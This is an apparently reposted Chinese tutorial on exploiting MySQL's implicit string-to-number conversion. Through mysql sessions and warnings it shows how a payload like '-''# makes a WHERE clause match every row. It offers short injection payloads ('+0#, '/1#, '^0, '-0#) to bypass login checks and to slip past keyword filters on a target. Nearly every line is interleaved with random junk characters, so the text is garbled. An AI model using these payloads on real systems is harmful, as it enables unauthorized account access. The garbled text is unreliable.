我们先来看这样一个场景。4 `! F. f8 m4 n: b/ {
有以下表结构: & ~2 ]1 U' B6 b5 |# V! P! q b3 h
' Q- ]3 Q0 D) t% rmysql> desc admin;* ?9 J$ R* s7 @/ h0 Q8 o9 f
+----------+--------------+------+-----+---------+----------------+* K" ~0 {1 W: Q! H
| Field | Type | Null | Key | Default | Extra |* _& U& R, h+ c7 p7 h8 S
+----------+--------------+------+-----+---------+----------------+
v5 t" m+ ^1 }| id | mediumint(9) | NO | PRI | NULL | auto_increment |: D; ^9 B( Z. }- Z2 H- ?7 i
| name | char(32) | NO | UNI | NULL | |% g N/ P) g) w5 I2 l( ?& U
| password | char(32) | NO | UNI | NULL | |; J7 X/ h, u) v: D/ L8 Y! K* h
+----------+--------------+------+-----+---------+----------------+
2 r& [8 T. p l( I7 e3 rows in set (0.00 sec); W/ R0 ]3 {5 f/ L5 i
执行select * from admin;,成功返回所有记录内容。
+ I0 Q( ^( o) u' v
! F, ^" l, \- |& D. B+ o* D9 B
8 Q8 ^. K0 n/ j: f+----+--------+----------------------------------+) R. v" q- E3 c6 H2 N
| id | name | password |
' C/ `* Q- u% E3 C3 I$ [4 n, L+----+--------+----------------------------------+
5 P8 s4 I& X, K; X# e( ~| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |& ~# G) v5 y3 V% i, a6 ]3 ?. x+ R
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 | }7 t0 h/ G8 j1 e7 E! z& w* _. j* q
| 4 | n00b | ff80e8508d39047460921792273533a4 |
2 D* O2 f [& @5 ^( {9 b+----+--------+----------------------------------+
6 v) Y0 f4 {6 E: A3 rows in set (0.00 sec)+ G0 `2 j- E) q
执行select * from admin where name=”;,没有匹配到任何记录。
( D2 r* Y/ P4 y% G7 G; e0 G+ A7 z9 k2 O& g) P& d$ q K0 n, _2 W
mysql> select * from admin where name = '';
2 p4 X& A3 Y( k: N5 r) q; WEmpty set (0.00 sec)
+ C5 @) s8 o2 m+ B3 C5 X那么我们来执行select * from admin where name = ”-”;% F6 M( ]% U" p. v
0 O5 j5 o( R! A3 ^
6 ]1 h0 I" @/ ~) r2 p" _3 K- ?
+----+--------+----------------------------------+
! ^7 b' X, [% v: J( y| id | name | password |
9 L5 ?$ W- u0 }6 K+----+--------+----------------------------------+
, h7 d/ `% q: ? v6 T| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |% m- v0 P9 g! ^3 K2 ~4 j* v) n# x7 p
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |. V. Y2 l' T7 H8 i; j
| 4 | n00b | ff80e8508d39047460921792273533a4 |
2 T9 U; u. t! ?9 Z; I6 t8 e+----+--------+----------------------------------+4 _5 ?; n% W7 P
3 rows in set, 3 warnings (0.00 sec)& m, J3 T/ Q9 { l- O- U% @
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: - ]& a' d. ^2 H" d* F8 i1 f" t6 A
7 R1 `1 c5 D, O& a2 Amysql> show warnings;: O2 ~' s `9 }5 g- \1 P( r; @
+---------+------+------------------------------------------2 N6 o) Z: G- Y+ a! b
| Level | Code | Message
$ j/ C0 F! ?" w( m$ G+---------+------+------------------------------------------
z( I1 M9 O) z6 c| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin1 q0 q7 S$ D1 _
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
+ G# Z L3 Y5 b: H, q* d! y- G| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b" u7 ^% W! |- [2 S
+---------+------+------------------------------------------% T2 S6 X1 m% a. A; N2 F
3 rows in set (0.00 sec)
* |9 t0 O4 z$ `" l提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 0 w; I+ q( N7 l) s) k$ y! x1 D8 w+ Q
( p$ p) S, Y0 o
mysql> select ''-'';& O6 c; E( f/ k; S+ t9 a
+-------+
* }/ ?- }6 i# P+ Y( b| ''-'' |
' S5 D. l' r' Q+ K& ]+-------+
0 V$ F9 I: x4 z9 x| 0 |
. N4 @( l4 P; Y8 ?& a$ |/ T+-------+
% ^; o! W0 o0 r% a1 row in set (0.00 sec)
" L1 l& Q. ^( M. o: F! T, c返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
* I: K1 C8 v1 e: i
4 G2 x; C4 ?2 _8 X/ _8 Umysql> select CAST((select name from admin limit 1,1) as DECIMAL);7 m/ b, S! a# ]7 [' G0 i# E
+-----------------------------------------------------+
* P, I# ~0 {$ h3 W| CAST((select name from admin limit 1,1) as DECIMAL) |
! v. Q" ?& }+ k5 t; |; V+ ?& v+-----------------------------------------------------+
$ e, s0 ^/ ] j. D9 E: H7 s| 0 |
; v& @1 q8 ]5 i" O# O+-----------------------------------------------------+
( d" F( j2 }, N8 ?5 d) {, ~1 row in set, 1 warning (0.00 sec)
: d9 ?1 z5 C5 |因此where语句构成了相等的条件,where 0=”=”,记录被返回。
: P$ q6 o9 a( s' a% e* o5 z- r# r: ^$ d( c* y- s# N/ u
SQL注入场景: http://www.sqlzoo.net/hack/
+ Z; ~* \& b1 B" Y) d' F( J& b& Q) K, e# z1 r2 N/ K; a& y3 h' x( x
+ [: j, x: j0 b* L: p$ L
3 L! B- J/ Z/ q% R: n
4 h: V6 N, Q: I% H如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 * J% b: Y! V" H$ q3 D- R
. o. H' X$ k& Q; ~" @那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
- A' B2 U$ s0 V4 ]& W8 F7 x/ M/ C# R
0 ?4 _1 T$ Z% B8 F: l, U& v& G' X6 f8 y! b% I4 _
# N$ S$ {' M2 K+ R
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
( J) b) q2 `/ d5 Q2 j
# `3 V( d0 Q+ X# M ; _# d9 v% q! J* X
# M+ z8 @4 x: u除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可) w& {0 }- g& s1 T; H0 j: _' W
4 s y# ^2 T6 z( O+ U: O+ D. v
% I. N; f4 q; L* nmysql> select ''/1;$ L" g+ l, O( h _
+------+
8 c: i, i3 h: [1 h% l/ a| ''/1 |
2 @0 t2 o9 {- i, }, s( I! s+------+
% F8 |8 K" ]* M/ ]3 ~! i! r| 0 |; H: g f% T# x8 i5 f
+------+
! l- n! u# E4 {/ b- H1 row in set (0.00 sec)
$ |4 i2 L$ [- M8 V+ v类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
- _8 ~+ G* S4 g; _! |5 x1 V" n5 [; [' d t3 }
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。( ^+ z3 ^. x" u4 t8 @
|
|